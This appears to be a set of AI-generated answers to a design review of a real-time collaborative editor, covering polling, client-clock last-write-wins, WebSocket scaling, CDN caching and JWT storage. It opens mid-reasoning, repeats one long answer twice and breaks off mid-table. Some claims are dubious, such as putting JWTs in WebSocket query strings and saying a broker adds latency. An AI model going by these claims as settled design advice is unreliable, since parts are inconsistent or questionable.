But before final, double-check the architecture: "Real-time: Each API server maintains its own WebSocket connections to clients" and "Sync Strategy: Last-write-wins with timestamps from client clocks". That is a major red flag. Also "Other servers poll PostgreSQL every 2 seconds for changes". So indeed polling is used.

Now, also note: "Database: PostgreSQL for document storage, Redis for session cache". So Redis is only for session cache, not for real-time. So they might be using Redis for caching sessions, not for pub/sub. So we can propose using Redis Pub/Sub to replace polling, which would also leverage existing Redis, but then we need to ensure Redis is highly available. That's a trade-off: using Redis for both cache and pub/sub might overload it; but can scale.

Also, "Storage: Documents saved as full HTML snapshots every 30 seconds." Could be that they are only saving snapshots, not each change. But step 2 says "Server writes change to PostgreSQL". So maybe they write changes to a table, and then a periodic job creates snapshots. That's plausible. So we should not assume they only have snapshots. But we can still mention that snapshot-only would be problematic; but given they write changes, it's okay. However, they might be writing the change as an update to the document record directly, which would mean the document is always up-to-date, and snapshots are backups. That's fine.

Potential issue: If they update the document record directly on every keystroke, that could be a huge number of writes. Usually collaborative editors buffer changes and send batches. But they didn't specify. That could be a scaling issue: high write rate. But we can mention that sending every keystroke as a DB write might overload DB; batching could help.

But the description says "User types → change event sent via WebSocket". That could be per keystroke, which is a lot. They might want to throttle or batch. But not explicitly a problem? We can add as a scaling bottleneck: high frequency of DB writes. Solution: buffer changes and write in batches, or use a log-based approach with asynchronous compaction. Trade-off: potential data loss if server crashes before flush.

But we already have many items; maybe include.

Let's see: "User types → change event sent via WebSocket to their connected server". That implies each keystroke is sent immediately. That's typical for real-time collaboration. But then "Server writes change to PostgreSQL". Writing each keystroke to PostgreSQL could be heavy. Many systems use an operation log (like a changes table) which is append-only, which is efficient. But still, high volume of writes. They could use a message queue to decouple, or batch. But we can mention.

Also, conflict resolution: if they write each keystroke as an update to the same row (paragraph), that's even worse. Usually collaborative editors use operational transforms where each operation is stored and applied in order. That's more scalable. So the architecture seems naive.

Given the scope, we should highlight that the entire sync strategy is flawed and not suitable for real-time collaborative editing. But the question asks to identify potential failure modes, race conditions, and scaling bottlenecks, and propose solutions with trade-offs. So we can point out that last-write-wins is inappropriate and suggest OT/CRDT.

Now, let's produce the final answer.

I'll write in a structured manner, with each issue clearly labeled, maybe with a heading.

Answer:

The architecture described has several potential issues that could lead to failures, race conditions, and scaling bottlenecks. Below is a list of these issues, along with specific solutions and their trade-offs.

1. Conflict Resolution Using Client Timestamps

   • Type: Failure mode / Race condition
   • Problem: Client clocks may be skewed or maliciously set, leading to unfair conflict resolution and data loss when two users edit the same paragraph. Last-write-wins based on client timestamps cannot guarantee consistency.
   • Solution: Replace client timestamps with server-assigned sequence numbers or adopt a conflict-free replicated data type (CRDT) or Operational Transform (OT) algorithm.
   • Trade-offs: Increased server complexity; sequence numbers require coordination (e.g., a database sequence) which can become a bottleneck; CRDT/OT implementations are complex but provide robust real-time collaboration.

2. Lost Updates Due to Lack of Concurrency Control

   • Type: Race condition
   • Problem: When two servers concurrently update the same paragraph, both may read the old state and write, causing the later write to overwrite the earlier one regardless of timestamps.
   • Solution: Use optimistic concurrency control: store a version number (or timestamp) for each paragraph, and perform conditional updates (e.g., UPDATE ... WHERE version = read_version). If the update fails, retry with the new state.
   • Trade-offs: Additional read before write increases database load; retry logic adds complexity; version tracking must be maintained.

3. Polling Delay and Database Load

   • Type: Scaling bottleneck / Failure mode (latency)
   • Problem: Servers poll PostgreSQL every 2 seconds for changes, causing up to 2 seconds latency for cross-server updates and increasing read load linearly with the number of servers.
   • Solution: Replace polling with a publish-subscribe system (e.g., Redis Pub/Sub, Apache Kafka) to notify all servers immediately when a change is written. Alternatively, use PostgreSQL's LISTEN/NOTIFY.
   • Trade-offs: Introduces a new component (or uses existing Redis for pub/sub), which adds operational complexity and potential new failure points. LISTEN/NOTIFY may not scale to thousands of connections.

4. WebSocket Server Failure and In-Flight Changes

   • Type: Failure mode
   • Problem: If a server crashes after receiving a change but before persisting it or acknowledging to the client, the change may be lost, or the client may resend causing duplicates.
   • Solution: Make operations idempotent by having the client generate a unique ID for each change. The server persists the change (with the ID) before sending acknowledgment. On reconnection, the client can resend unacknowledged changes with the same IDs.
   • Trade-offs: Client-side complexity (queue, ID generation), server must check for duplicate IDs to ensure idempotency.

5. Load Balancer Single Point of Failure

   • Type: Failure mode
   • Problem: The load balancer is a single point of failure; if it goes down, new connections cannot be established and existing connections may be disrupted.
   • Solution: Deploy the load balancer in a high-availability configuration (active-passive with failover) or use a cloud-managed load balancer that provides automatic redundancy.
   • Trade-offs: Additional cost and configuration effort; some solutions may introduce new failure modes during failover.

6. Redis Session Cache Availability

   • Type: Failure mode / Scaling bottleneck
   • Problem: Redis is used for session cache; if it fails, session data is lost, forcing users to re-authenticate and possibly losing state.
   • Solution: Use Redis Cluster with replication and automatic failover to ensure high availability.
   • Trade-offs: Increased operational overhead; cluster management requires careful planning.

7. Database Write Scalability

   • Type: Scaling bottleneck
   • Problem: All writes go to a single PostgreSQL primary, which will eventually become a bottleneck as the number of concurrent edits grows.
   • Solution: Shard the database by organization ID (or a finer key) across multiple PostgreSQL instances, or migrate to a distributed SQL database like CockroachDB.
   • Trade-offs: Application must be shard-aware; cross-shard queries become difficult; distributed databases add complexity.

8. JWT Stored in localStorage (XSS Risk)

   • Type: Security failure mode
   • Problem: Storing JWTs in localStorage makes them accessible to JavaScript, so a cross-site scripting (XSS) attack can steal the token and impersonate the user.
   • Solution: Store the access token in an HttpOnly, Secure, SameSite=Strict cookie, and use CSRF tokens or SameSite attributes to prevent CSRF attacks.
   • Trade-offs: Frontend must handle CSRF protection; cookies are sent automatically, requiring careful configuration.

9. Long JWT Expiry

   • Type: Security failure mode
   • Problem: A 24-hour expiry gives an attacker a long window to use a stolen token.
   • Solution: Use short-lived access tokens (e.g., 15 minutes) and long-lived refresh tokens stored securely (e.g., in HttpOnly cookies). Implement a token refresh endpoint.
   • Trade-offs: More frequent network calls to refresh tokens; need to secure refresh tokens against theft.

10. CDN Caching API Responses

    • Type: Failure mode (stale data)
    • Problem: Caching API responses for 5 minutes can serve stale document content, breaking real-time collaboration.
    • Solution: Configure CDN to bypass caching for all API routes, or set appropriate Cache-Control: no-cache, private headers on dynamic endpoints.
    • Trade-offs: Increased load on origin servers, but ensures data freshness.

11. Snapshot Generation Overhead

    • Type: Scaling bottleneck
    • Problem: Saving full HTML snapshots of every document every 30 seconds consumes CPU, I/O, and storage, especially for large or many documents.
    • Solution: Generate snapshots asynchronously using a background job queue, only for active documents, and store incremental changes (e.g., an operation log) to reduce snapshot frequency or size.
    • Trade-offs: Adds complexity of a job system; recovery point objective may increase if snapshots are delayed.

12. Polling Duplicate Processing

    • Type: Race condition / inefficiency
    • Problem: Servers polling based on a time window (last 2 seconds) may fetch the same change multiple times, leading to duplicate broadcasts and unnecessary load.
    • Solution: Store each change with a monotonically increasing sequence ID (e.g., a database sequence). Each server keeps track of the last processed ID and fetches only newer changes.
    • Trade-offs: Requires a global sequence generator (could be a bottleneck) and per-server state; but eliminates duplicates.

13. Load Balancer Not Load-Aware

    • Type: Scaling bottleneck
    • Problem: Round-robin load balancing does not account for the current load on servers, potentially overloading some while others are underutilized.
    • Solution: Use a load-aware algorithm such as least connections or based on server health metrics (CPU, memory).
    • Trade-offs: Requires more advanced load balancer features, which may incur additional cost or configuration.

14. WebSocket Connection Limits per Server

    • Type: Scaling bottleneck
    • Problem: A single Node.js server has limits on the number of concurrent WebSocket connections (due to file descriptors, memory). As user count grows, a server may hit these limits.
    • Solution: Scale horizontally by adding more API servers; tune OS limits (increase file descriptors). Alternatively, use a language/runtime better suited for massive concurrency (e.g., Elixir, Go) for the WebSocket layer.
    • Trade-offs: Adding servers increases cost; changing technology stack is a major undertaking.

15. Offline Support and Network Partitions

    • Type: Failure mode
    • Problem: If a server loses connectivity to the database, it cannot persist changes, causing user edits to fail. Network partitions can lead to service interruption.
    • Solution: Allow clients to continue editing offline by queuing changes locally and syncing when connectivity is restored, using CRDTs to merge conflicts.
    • Trade-offs: Significant implementation complexity; client-side storage and conflict resolution logic required.

16. High Frequency of Database Writes

    • Type: Scaling bottleneck
    • Problem: Sending every keystroke as a separate write to PostgreSQL can overwhelm the database, especially during peak usage.
    • Solution: Buffer changes on the server and write them in batches (e.g., every 200ms) or use an append-only log with asynchronous compaction.
    • Trade-offs: Increases latency slightly for persistence; if the server crashes before flushing, recent changes may be lost unless also replicated.

These improvements would address the major risks and scalability limits, albeit with added complexity and potential trade-offs in performance, cost, or development effort. The exact choices depend on the required consistency, latency, and scale.The architecture described has several potential failure modes, race conditions, and scaling bottlenecks. Below is a list of these issues, along with specific solutions and their trade-offs.

---

1. Conflict Resolution Using Client Timestamps

• Type: Failure mode / Race condition
• Problem: Client clocks may be skewed or maliciously set, leading to unfair conflict resolution and data loss when two users edit the same paragraph. Last-write-wins based on client timestamps cannot guarantee consistency.
• Solution: Replace client timestamps with server-assigned sequence numbers or adopt a conflict-free replicated data type (CRDT) or Operational Transform (OT) algorithm.
• Trade-offs: Increased server complexity; sequence numbers require coordination (e.g., a database sequence) which can become a bottleneck; CRDT/OT implementations are complex but provide robust real-time collaboration.

2. Lost Updates Due to Lack of Concurrency Control

• Type: Race condition
• Problem: When two servers concurrently update the same paragraph, both may read the old state and write, causing the later write to overwrite the earlier one regardless of timestamps.
• Solution: Use optimistic concurrency control: store a version number (or timestamp) for each paragraph, and perform conditional updates (e.g., UPDATE ... WHERE version = read_version). If the update fails, retry with the new state.
• Trade-offs: Additional read before write increases database load; retry logic adds complexity; version tracking must be maintained.

3. Polling Delay and Database Load

• Type: Scaling bottleneck / Failure mode (latency)
• Problem: Servers poll PostgreSQL every 2 seconds for changes, causing up to 2 seconds latency for cross-server updates and increasing read load linearly with the number of servers.
• Solution: Replace polling with a publish-subscribe system (e.g., Redis Pub/Sub, Apache Kafka) to notify all servers immediately when a change is written. Alternatively, use PostgreSQL's LISTEN/NOTIFY.
• Trade-offs: Introduces a new component (or uses existing Redis for pub/sub), adding operational complexity and potential new failure points. LISTEN/NOTIFY may not scale to thousands of connections.

4. WebSocket Server Failure and In-Flight Changes

• Type: Failure mode
• Problem: If a server crashes after receiving a change but before persisting it or acknowledging to the client, the change may be lost, or the client may resend causing duplicates.
• Solution: Make operations idempotent by having the client generate a unique ID for each change. The server persists the change (with the ID) before sending acknowledgment. On reconnection, the client can resend unacknowledged changes with the same IDs.
• Trade-offs: Client-side complexity (queue, ID generation), server must check for duplicate IDs to ensure idempotency.

5. Load Balancer Single Point of Failure

• Type: Failure mode
• Problem: The load balancer is a single point of failure; if it goes down, new connections cannot be established and existing connections may be disrupted.
• Solution: Deploy the load balancer in a high-availability configuration (active-passive with failover) or use a cloud-managed load balancer that provides automatic redundancy.
• Trade-offs: Additional cost and configuration effort; some solutions may introduce new failure modes during failover.

6. Redis Session Cache Availability

• Type: Failure mode / Scaling bottleneck
• Problem: Redis is used for session cache; if it fails, session data is lost, forcing users to re-authenticate and possibly losing state.
• Solution: Use Redis Cluster with replication and automatic failover to ensure high availability.
• Trade-offs: Increased operational overhead; cluster management requires careful planning.

7. Database Write Scalability

• Type: Scaling bottleneck
• Problem: All writes go to a single PostgreSQL primary, which will eventually become a bottleneck as the number of concurrent edits grows.
• Solution: Shard the database by organization ID (or a finer key) across multiple PostgreSQL instances, or migrate to a distributed SQL database like CockroachDB.
• Trade-offs: Application must be shard-aware; cross-shard queries become difficult; distributed databases add complexity.

8. JWT Stored in localStorage (XSS Risk)

• Type: Security failure mode
• Problem: Storing JWTs in localStorage makes them accessible to JavaScript, so a cross-site scripting (XSS) attack can steal the token and impersonate the user.
• Solution: Store the access token in an HttpOnly, Secure, SameSite=Strict cookie, and use CSRF tokens or SameSite attributes to prevent CSRF attacks.
• Trade-offs: Frontend must handle CSRF protection; cookies are sent automatically, requiring careful configuration.

9. Long JWT Expiry

• Type: Security failure mode
• Problem: A 24-hour expiry gives an attacker a long window to use a stolen token.
• Solution: Use short-lived access tokens (e.g., 15 minutes) and long-lived refresh tokens stored securely (e.g., in HttpOnly cookies). Implement a token refresh endpoint.
• Trade-offs: More frequent network calls to refresh tokens; need to secure refresh tokens against theft.

10. CDN Caching API Responses

• Type: Failure mode (stale data)
• Problem: Caching API responses for 5 minutes can serve stale document content, breaking real-time collaboration.
• Solution: Configure CDN to bypass caching for all API routes, or set appropriate Cache-Control: no-cache, private headers on dynamic endpoints.
• Trade-offs: Increased load on origin servers, but ensures data freshness.

11. Snapshot Generation Overhead

• Type: Scaling bottleneck
• Problem: Saving full HTML snapshots of every document every 30 seconds consumes CPU, I/O, and storage, especially for large or many documents.
• Solution: Generate snapshots asynchronously using a background job queue, only for active documents, and store incremental changes (e.g., an operation log) to reduce snapshot frequency or size.
• Trade-offs: Adds complexity of a job system; recovery point objective may increase if snapshots are delayed.

12. Polling Duplicate Processing

• Type: Race condition / inefficiency
• Problem: Servers polling based on a time window (last 2 seconds) may fetch the same change multiple times, leading to duplicate broadcasts and unnecessary load.
• Solution: Store each change with a monotonically increasing sequence ID (e.g., a database sequence). Each server keeps track of the last processed ID and fetches only newer changes.
• Trade-offs: Requires a global sequence generator (could be a bottleneck) and per-server state; but eliminates duplicates.

13. Load Balancer Not Load-Aware

• Type: Scaling bottleneck
• Problem: Round-robin load balancing does not account for the current load on servers, potentially overloading some while others are underutilized.
• Solution: Use a load-aware algorithm such as least connections or based on server health metrics (CPU, memory).
• Trade-offs: Requires more advanced load balancer features, which may incur additional cost or configuration.

14. WebSocket Connection Limits per Server

• Type: Scaling bottleneck
• Problem: A single Node.js server has limits on the number of concurrent WebSocket connections (due to file descriptors, memory). As user count grows, a server may hit these limits.
• Solution: Scale horizontally by adding more API servers; tune OS limits (increase file descriptors). Alternatively, use a language/runtime better suited for massive concurrency (e.g., Elixir, Go) for the WebSocket layer.
• Trade-offs: Adding servers increases cost; changing technology stack is a major undertaking.

15. Offline Support and Network Partitions

• Type: Failure mode
• Problem: If a server loses connectivity to the database, it cannot persist changes, causing user edits to fail. Network partitions can lead to service interruption.
• Solution: Allow clients to continue editing offline by queuing changes locally and syncing when connectivity is restored, using CRDTs to merge conflicts.
• Trade-offs: Significant implementation complexity; client-side storage and conflict resolution logic required.

16. High Frequency of Database Writes

• Type: Scaling bottleneck
• Problem: Sending every keystroke as a separate write to PostgreSQL can overwhelm the database, especially during peak usage.
• Solution: Buffer changes on the server and write them in batches (e.g., every 200ms) or use an append-only log with asynchronous compaction.
• Trade-offs: Increases latency slightly for persistence; if the server crashes before flushing, recent changes may be lost unless also replicated.

---

These improvements would address the major risks and scalability limits, albeit with added complexity and potential trade-offs in performance, cost, or development effort. The exact choices depend on the required consistency, latency, and scale.

Certainly! Let's break down the potential failure modes, race conditions, and scaling bottlenecks in the architecture, and propose solutions for each.

Potential Failure Modes

1. Single Point of Failure in WebSocket Connections:

   • Issue: If a single API server fails, all WebSocket connections to that server are lost.
   • Solution: Implement a WebSocket load balancer that can route WebSocket connections to different servers and handle failover. This adds complexity but ensures high availability.

2. Database Overload:

   • Issue: Frequent writes to PostgreSQL can lead to database overload, especially with many concurrent users.
   • Solution: Use a distributed database or a NoSQL database like Cassandra for handling high write throughput. This might require a schema redesign and additional operational complexity.

3. Redis Cache Failure:

   • Issue: If Redis fails, session data is lost, leading to user logouts.
   • Solution: Implement Redis clustering or use a managed Redis service with built-in failover. This adds cost but ensures high availability.

4. JWT Token Expiry Management:

   • Issue: If JWT tokens are not refreshed properly, users might be logged out unexpectedly.
   • Solution: Implement a token refresh mechanism that issues new tokens before expiry. This requires additional logic in the frontend and backend.

Race Conditions

1. Last-Write-Wins Conflict Resolution:

   • Issue: If two users edit the same paragraph simultaneously, the last write wins, which can lead to data loss.
   • Solution: Implement Operational Transformation (OT) or Conflict-free Replicated Data Types (CRDTs) for more sophisticated conflict resolution. This adds complexity but ensures data consistency.

2. WebSocket Broadcast Delays:

   • Issue: Delays in broadcasting changes to all WebSocket clients can lead to inconsistent views.
   • Solution: Use a message broker like Kafka or RabbitMQ to handle real-time messaging. This adds latency but ensures reliable message delivery.

Scaling Bottlenecks

1. WebSocket Server Scalability:

   • Issue: Each API server maintains its own WebSocket connections, which can become a bottleneck as the number of users grows.
   • Solution: Use a WebSocket server cluster with a shared message bus to distribute WebSocket connections across multiple servers. This adds complexity but improves scalability.

2. Database Read/Write Scalability:

   • Issue: As the number of documents and users grows, the database can become a bottleneck.
   • Solution: Implement database sharding or use a distributed database like Cassandra. This requires schema redesign and additional operational complexity.

3. Polling for Changes:

   • Issue: Servers polling PostgreSQL every 2 seconds can lead to high database load.
   • Solution: Use a message broker like Kafka to push changes to servers instead of polling. This adds latency but reduces database load.

4. CDN Caching Strategy:

   • Issue: Caching API responses for 5 minutes can lead to stale data for users.
   • Solution: Implement a more granular caching strategy with shorter TTLs or use edge caching with invalidation. This adds complexity but ensures fresher data.

Summary of Solutions and Trade-offs

1. WebSocket Load Balancer:

   • Trade-offs: Adds complexity, ensures high availability.

2. Distributed Database or NoSQL:

   • Trade-offs: Requires schema redesign, ensures high write throughput.

3. Redis Clustering or Managed Service:

   • Trade-offs: Adds cost, ensures high availability.

4. Token Refresh Mechanism:

   • Trade-offs: Requires additional logic, ensures seamless user experience.

5. Operational Transformation (OT) or CRDTs:

   • Trade-offs: Adds complexity, ensures data consistency.

6. Message Broker for Real-time Messaging:

   • Trade-offs: Adds latency, ensures reliable message delivery.

7. WebSocket Server Cluster with Shared Message Bus:

   • Trade-offs: Adds complexity, improves scalability.

8. Database Sharding or Distributed Database:

   • Trade-offs: Requires schema redesign, ensures scalability.

9. Message Broker for Change Propagation:

   • Trade-offs: Adds latency, reduces database load.

10. Granular Caching Strategy:

    • Trade-offs: Adds complexity, ensures fresher data.

By addressing these issues, the architecture can be made more robust, scalable, and reliable, albeit with increased complexity and potential costs.

Potential Failure Modes, Race Conditions, and Scaling Bottlenecks

1. WebSocket Connection Failures:

   • Failure Mode: WebSocket connections can drop due to network issues or server crashes.
   • Solution: Implement WebSocket reconnection logic on the client-side with exponential backoff. On the server-side, ensure that WebSocket servers are stateless and can be easily restarted without losing state.
   • Trade-offs: Increased complexity in client-side code and potential delay in reconnection.

2. Single Point of Failure in PostgreSQL:

   • Failure Mode: PostgreSQL could become a single point of failure if it goes down.
   • Solution: Use PostgreSQL replication (master-slave setup) and automatic failover mechanisms. Consider using a managed database service that offers high availability.
   • Trade-offs: Increased cost and complexity in managing replication and failover.

3. Race Conditions in Conflict Resolution:

   • Failure Mode: Race conditions can occur when multiple users edit the same paragraph simultaneously, leading to data inconsistency.
   • Solution: Implement Operational Transformation (OT) or Conflict-free Replicated Data Types (CRDTs) for more sophisticated conflict resolution.
   • Trade-offs: Increased complexity in the conflict resolution logic and potential performance overhead.

4. Polling Overhead:

   • Failure Mode: Polling PostgreSQL every 2 seconds can create significant load on the database, especially as the number of servers scales.
   • Solution: Use Redis as a message broker to publish changes to all servers instead of polling. Each server subscribes to a Redis channel for document changes.
   • Trade-offs: Additional infrastructure and complexity in managing Redis.

5. JWT Token Expiry and Security:

   • Failure Mode: JWT tokens stored in localStorage can be vulnerable to XSS attacks, and their expiry can cause frequent re-authentication.
   • Solution: Use HTTP-only cookies for storing JWT tokens to mitigate XSS risks. Implement token refresh mechanisms to avoid frequent re-authentication.
   • Trade-offs: Increased complexity in managing token refresh and potential security risks if not implemented correctly.

6. CDN Caching Issues:

   • Failure Mode: Caching API responses for 5 minutes can lead to stale data being served to users.
   • Solution: Implement cache invalidation strategies based on document changes. Use shorter cache durations for more frequently updated documents.
   • Trade-offs: Increased complexity in cache management and potential performance overhead due to more frequent cache invalidations.

7. Scaling Bottlenecks in WebSocket Servers:

   • Failure Mode: As the number of WebSocket connections grows, the load on individual servers can become a bottleneck.
   • Solution: Use a WebSocket gateway or a message broker (e.g., Redis Pub/Sub) to distribute WebSocket connections across multiple servers.
   • Trade-offs: Increased complexity in managing WebSocket connections and potential latency due to message brokering.

8. Document Partitioning Issues:

   • Failure Mode: Document partitioning by organization ID can lead to hotspots if certain organizations have significantly more documents.
   • Solution: Implement a more granular partitioning strategy, such as partitioning by document ID or using a sharding strategy based on document metadata.
   • Trade-offs: Increased complexity in partitioning logic and potential performance overhead due to more frequent partitioning operations.

Summary of Solutions and Trade-offs

1. WebSocket Connection Failures:

   • Solution: WebSocket reconnection logic with exponential backoff.
   • Trade-offs: Increased client-side complexity and potential delay in reconnection.

2. Single Point of Failure in PostgreSQL:

   • Solution: PostgreSQL replication and automatic failover.
   • Trade-offs: Increased cost and complexity in managing replication and failover.

3. Race Conditions in Conflict Resolution:

   • Solution: Implement Operational Transformation (OT) or CRDTs.
   • Trade-offs: Increased complexity in conflict resolution logic and potential performance overhead.

4. Polling Overhead:

   • Solution: Use Redis as a message broker.
   • Trade-offs: Additional infrastructure and complexity in managing Redis.

5. JWT Token Expiry and Security:

   • Solution: Use HTTP-only cookies and token refresh mechanisms.
   • Trade-offs: Increased complexity in managing token refresh and potential security risks.

6. CDN Caching Issues:

   • Solution: Implement cache invalidation strategies.
   • Trade-offs: Increased complexity in cache management and potential performance overhead.

7. Scaling Bottlenecks in WebSocket Servers:

   • Solution: Use a WebSocket gateway or message broker.
   • Trade-offs: Increased complexity in managing WebSocket connections and potential latency.

8. Document Partitioning Issues:

   • Solution: Implement a more granular partitioning strategy.
   • Trade-offs: Increased complexity in partitioning logic and potential performance overhead.

By addressing these issues, the architecture can become more robust, scalable, and secure, ensuring a better user experience in a real-time collaborative document editor.

This architecture has several significant flaws, particularly concerning real-time consistency, data integrity, and horizontal scaling complexity.

Here is a detailed breakdown of the potential failure modes, race conditions, and scaling bottlenecks, along with proposed solutions and their trade-offs.

---

I. Real-Time Consistency and Data Integrity Issues

These issues directly impact the user experience and correctness of the document state.

1. Failure Mode: Inconsistent State Across Servers (The Polling Mechanism)

The Issue: The core problem lies in how state synchronization happens between the API servers.

• Server A receives an edit from Client A. It writes to PostgreSQL.
• Server B does not know about this change immediately. It polls 2 seconds later and pulls the change.
• If Client B (connected to Server B) makes an edit before Server B polls, Server B sends the edit based on stale data, leading to a potential conflict or lost update when Server B eventually writes to the DB.

Race Condition: A race condition exists between an edit being written by Server A and Server B polling for that edit.

Solution: Eliminate Polling and Use a Central Message Broker.

• Proposal: Introduce a dedicated message broker (like Redis Pub/Sub, Kafka, or RabbitMQ) that sits between the API servers.
• Revised Data Flow:
  1. User types → Change sent to Server A via WebSocket.
  2. Server A writes change to PostgreSQL.
  3. Server A publishes the change (with its definitive DB timestamp) to a topic in the Message Broker (e.g., document-updates:doc_id_123).
  4. All other API servers (B, C, D...) subscribe to this topic. When they receive a message, they immediately broadcast the update to their connected clients via their local WebSockets.
• Trade-offs:
  • Pro: Near-instantaneous consistency across all servers. Solves the polling lag.
  • Con: Adds a new critical dependency (the Message Broker). Requires careful configuration for message durability and ordering (especially if using Kafka).

2. Failure Mode: Clock Skew and Incorrect Conflict Resolution

The Issue: The sync strategy relies on Last-Write-Wins (LWW) using client-provided timestamps. Client clocks are notoriously unreliable, leading to incorrect conflict resolution.

• Example: User A's clock is 1 second fast. User B's clock is 1 second slow. If they edit simultaneously, the update with the "faster" timestamp (User A's) wins, even if User B's edit was logically received first by the server.

Solution: Use Server-Assigned Timestamps or Operational Transformation (OT) / Conflict-Free Replicated Data Types (CRDTs).

• Proposal A (Simpler LWW Fix): Server must ignore the client timestamp for conflict resolution. The server should use its own PostgreSQL transaction commit timestamp or assign a monotonically increasing sequence number/timestamp before broadcasting or committing the final state.
• Proposal B (The "Correct" Solution for Real-Time): Abandon LWW entirely and adopt a formal collaborative editing algorithm like CRDTs (e.g., Yjs or Automerge). This allows merging concurrent edits intelligently rather than just discarding one.
• Trade-offs:
  • Proposal A: Easy to implement, but still results in lost edits during true simultaneous conflicts (the "last write wins" outcome is just based on server timing, not user intent).
  • Proposal B: Significantly increases complexity on both frontend and backend logic but provides true, mathematically sound convergence.

3. Failure Mode: Data Loss Due to Snapshot Frequency

The Issue: Documents are only saved as full HTML snapshots every 30 seconds. If a server crashes or the network drops between the last save and an edit, that edit is lost (unless the Message Broker is 100% durable and all servers correctly process the backlog).

• Even with a message broker, if the broker fails or the client disconnects, the data stored in the immediate WebSocket session buffer is lost until the next full snapshot.

Solution: Commit Every Change to the Database.

• Proposal: Commit every valid, timestamped change (the atomic operation, not the full HTML) directly to PostgreSQL immediately upon receipt. Use the 30-second interval only for snapshotting the current state for fast initial loads, not for primary persistence.
• Trade-offs:
  • Pro: Ensures atomicity and durability for every change.
  • Con: Greatly increases database write load, potentially straining PostgreSQL. Requires extremely efficient indexing for versioning/history tables.

---

II. Scaling and Infrastructure Bottlenecks

These issues relate to how the system handles increased load.

4. Scaling Bottleneck: Statefulness of WebSockets

The Issue: "Each API server maintains its own WebSocket connections." This makes scaling difficult because user state (which document they are editing, which server they are on) is sticky. If Server A goes down, all its connected users instantly disconnect and must re-establish a session, potentially connecting to a different server (Server B).

Solution: Introduce a Centralized WebSocket Gateway/Proxy.

• Proposal: Place a dedicated layer (like HAProxy, Nginx, or specialized services like Socket.IO Gateway) in front of the API servers. This layer handles the initial WebSocket connection and routes subsequent messages to the correct backend server. A crucial component here is a mechanism (often using sticky sessions or session state lookup in Redis) to ensure the client reconnects to the same logical server if possible, or a mechanism for seamless handoff.
• Trade-offs:
  • Pro: Decouples the WebSocket connection life cycle from the application logic servers, making application server scaling easier.
  • Con: Adds another layer of complexity and potential latency. Requires the gateway to manage connection state or rely on the application servers to quickly re-establish context.

5. Scaling Bottleneck: Database Write Contention (PostgreSQL)

The Issue: If every change (even small text insertions) is written directly to PostgreSQL, the write throughput requirement will rapidly exceed what a single primary PostgreSQL instance can handle, even with read replicas handling reads.

Solution: Utilize Redis for High-Frequency Write Buffering/Sequencing.

• Proposal: When a change arrives, instead of writing directly to PostgreSQL, push the change payload into an ordered list or stream within Redis (e.g., using Redis Streams or Lists, keyed by document ID). A dedicated, optimized background worker process reads these streams and performs bulk inserts/updates to PostgreSQL periodically (e.g., every 1 second).
• Trade-offs:
  • Pro: Dramatically reduces immediate write strain on PostgreSQL, allowing it to focus on durable storage and consistency checks.
  • Con: Introduces a small, bounded window of potential data loss if Redis fails catastrophically before flushing to PostgreSQL (mitigated by using Redis persistence). Requires dedicated worker processes.

6. Scaling Bottleneck: CDN Caching of API Responses

The Issue: The CDN (CloudFront) is configured to cache API responses for 5 minutes. For a real-time collaborative editor, API responses are generally used for initial document loading or fetching metadata. Caching them for 5 minutes is highly risky.

• If User A edits Document X, and User B opens Document X 30 seconds later, User B’s request to the API endpoint for the document might be served a 5-minute-old cached version from CloudFront, bypassing the load balancer and the application servers entirely, leading to stale data.

Solution: Restrict CDN Caching to Static Assets Only.

• Proposal: Configure CloudFront to only cache static assets (JS, CSS, images). API endpoints, especially those related to document fetching or authentication, must use cache-control headers that enforce no-caching (Cache-Control: no-cache, no-store, must-revalidate).
• Trade-offs:
  • Pro: Ensures that all critical application data is fetched from the live backend servers, guaranteeing freshness.
  • Con: Increases the load on the API servers as every initial document load request hits the backend cluster instead of the CDN edge cache. (This is generally acceptable, as initial loads are less frequent than ongoing real-time edits.)

---

III. Authentication and Security Issues

7. Failure Mode: JWT Expiry and Client Storage Risk

The Issue: JWTs with 24-hour expiry are stored in localStorage.

1. If the JWT leaks (via XSS attack), an attacker has 24 hours of access.
2. The 24-hour expiry means users must re-authenticate frequently, which is poor UX, or the token must be silently refreshed, which requires extra infrastructure.

Solution: Use HttpOnly Cookies for Session Management.

• Proposal: Instead of using JWTs in localStorage for authentication, use traditional session cookies marked as HttpOnly and Secure. The backend issues this cookie upon successful login. HttpOnly prevents client-side JavaScript (including malicious scripts) from accessing the token.
• Trade-offs:
  • Pro: Vastly superior security against XSS attacks.
  • Con: Makes the session state less portable across microservices if JWTs were intended for that purpose (which they aren't in this setup, as auth seems tied to the initial connection). Requires careful configuration of the load balancer/API servers to ensure cookie forwarding.

8. Failure Mode: Authentication for WebSocket Connections

The Issue: The architecture implies JWTs are used for the initial HTTP connection, but it doesn't specify how the WebSocket connection is authenticated. If the WebSocket simply upgrades the connection without re-validating the session (e.g., relying on the client sending the old token in the upgrade request), security is weak.

Solution: Validate Token on WebSocket Upgrade.

• Proposal: When the client initiates the WebSocket handshake, it must pass the JWT (ideally in a query parameter, as headers are not standard for the upgrade request). The backend server must validate this token immediately upon connection. If valid, the server should create a short-lived session entry in Redis mapping the WebSocket session ID to the User ID, and only then proceed with the connection.
• Trade-offs:
  • Pro: Ensures every persistent connection is authenticated.
  • Con: Requires careful handling of the token during the upgrade process, which can sometimes be tricky depending on the client library used.

This architecture, while functional, has several critical flaws, particularly in its real-time synchronization, data consistency, and scaling strategy.

Here is a detailed breakdown of the potential failure modes, race conditions, and bottlenecks, along with proposed solutions.

---

I. Real-Time Synchronization and Data Consistency Issues

The core weakness is the reliance on Last-Write-Wins (LWW) with client-side timestamps and the server-polling strategy.

Issue Type	Failure Mode / Race Condition	Explanation	Proposed Solution & Trade-offs
Race Condition	Inconsistent State Due to Client Clock Drift	If User A (with a fast clock) and User B (with a slow clock) edit the same section, the LWW strategy will incorrectly favor User A's change, even if User B's change occurred later in real-time.	Server-Side Timestamping (Preferred): The server applies the timestamp upon receiving the change. Trade-offs: Simple to implement. Requires clients to trust the server's time. Still susceptible to network latency variation (changes arriving out of order).
